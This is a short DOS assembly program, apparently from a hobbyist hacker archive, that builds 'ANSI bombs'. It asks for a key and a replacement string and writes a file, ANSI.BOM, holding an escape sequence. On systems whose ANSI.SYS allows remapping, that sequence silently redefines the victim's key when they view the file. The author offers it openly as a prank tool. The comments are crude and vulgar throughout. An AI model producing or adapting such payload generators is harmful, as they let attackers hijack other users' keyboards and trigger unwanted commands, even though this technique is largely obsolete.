; This is kinda lame, but I was bored. (as usual) So, it makes one line
; ANSi Bombs, which are now completely usesless since DOS' ANSI.SYS
; doesn't allow remapping anymore, but it's good for a laugh for people
; running lower versions and those runnning ANSI.SYS with remapping on.
; You can be really lame (like me) and put a group name on it and release
; it but, that would be pointless.

        .model tiny
        .code
         org 100h

writechar MACRO ch
          mov   ah,02h
          mov   dl,ch
          int   21h
          ENDM                          ; Ah, Macros Are Spiffy Penii

start:
        mov     ah,09h
        mov     dx,offset hello_world
        int     21h                     ; Display Da String of Doom

        mov     ah,01h
        int     21h                     ; Get Me Dat Niftee Kee AL

bin2a0: mov     cx,3                    ; Convert From Binary to Decimal
        mov     bx,10
bin2a1: xor     dx,dx
        div     bx
        add     dl,'0'
        push    dx
        loop    bin2a1
        mov     cx,3
        mov     bl,'0'
bin2a2: pop     ax
        or      bl,al
        test    bl,0Fh
        jz      bin2a4

        mov     di,offset char+3
        sub     di,cx
        stosb
bin2a4: loop    bin2a2

        mov     ah,09h
        mov     dx,offset hello_again   ; Hello? Knock Knock
        int     21h                     ; Clique Cloque Cloaque?

        mov     di,offset what          ; Save Me Baby?

read_it:
        mov     ah,01h                  ; Read Character Into AL
        int     21h

        cmp     al,0Dh                  ; Are We At CR?
        je      make_bomb               ; Make Dat Bom

        cmp     al,08h                  ; Backy Spacey
        je      backup

        inc     cnt                     ; Inc Cunt

        stosb
        jmp     short read_it

backup:

        dec     di
        dec     cnt

        writechar  ' '
        writechar  08h
        jmp     short read_it           ; Hark Hark, A Crappy Readln
                                        ; Route "sorta" works


make_bomb:
        mov     cx,00100000b            ; Create Dat File
        mov     dx,offset nameme        ; ASCIIZ String for Name
        mov     ah,3Ch
        int     21h                     ; Clique
        jc      error                   ; Dere Was Dis Error
        xchg    ax,bx                   ; BX=File Handle

        mov     di,offset to_there
        add     di,cnt
        sub     di,offset here          ; Shitty way to work, but it does

        mov     ah,40h
        mov     dx,offset here
        mov     cx,di                   ; How many byties to write
        int     21h                     ; Clique
        jc      error                   ;

        mov     ah,40h                  ; We missed a piece cuz i'm
        mov     dx,offset p3            ; a krappy koder :)
        mov     cx,5
        int     21h
        jc      error                   ; Lemming is GOD!

        mov     ah,3eh                  ; Close File Function
        int     21h                     ; Clique

error:

        mov     ax,4C00h
        int     21h                     ; Chez Rulez

hello_world     db   "Nemesis' Spiffy Ansibomb Creator vWHO.CARES",0Dh,0Ah
                db    "Character to Remap Please: ",'$'

hello_again     db   0Dh,0Ah,"Remap to: ",'$'   ; Hello Again My Friend

nameme          db  'ANSI.BOM',0
cnt             dw  0                           ; Cunt Counter

; Wow, a Bomb

here:
p1              db   1Bh,5Bh                    ; '['
char            db   0,0,0                      ; Map    Me
p2              db   ';"'                       ; Kill   Me
to_there:
what            db   255 dup (?)                ; Lick   Me Here<---
p3              db   '";13p'                    ; End    Me

end start


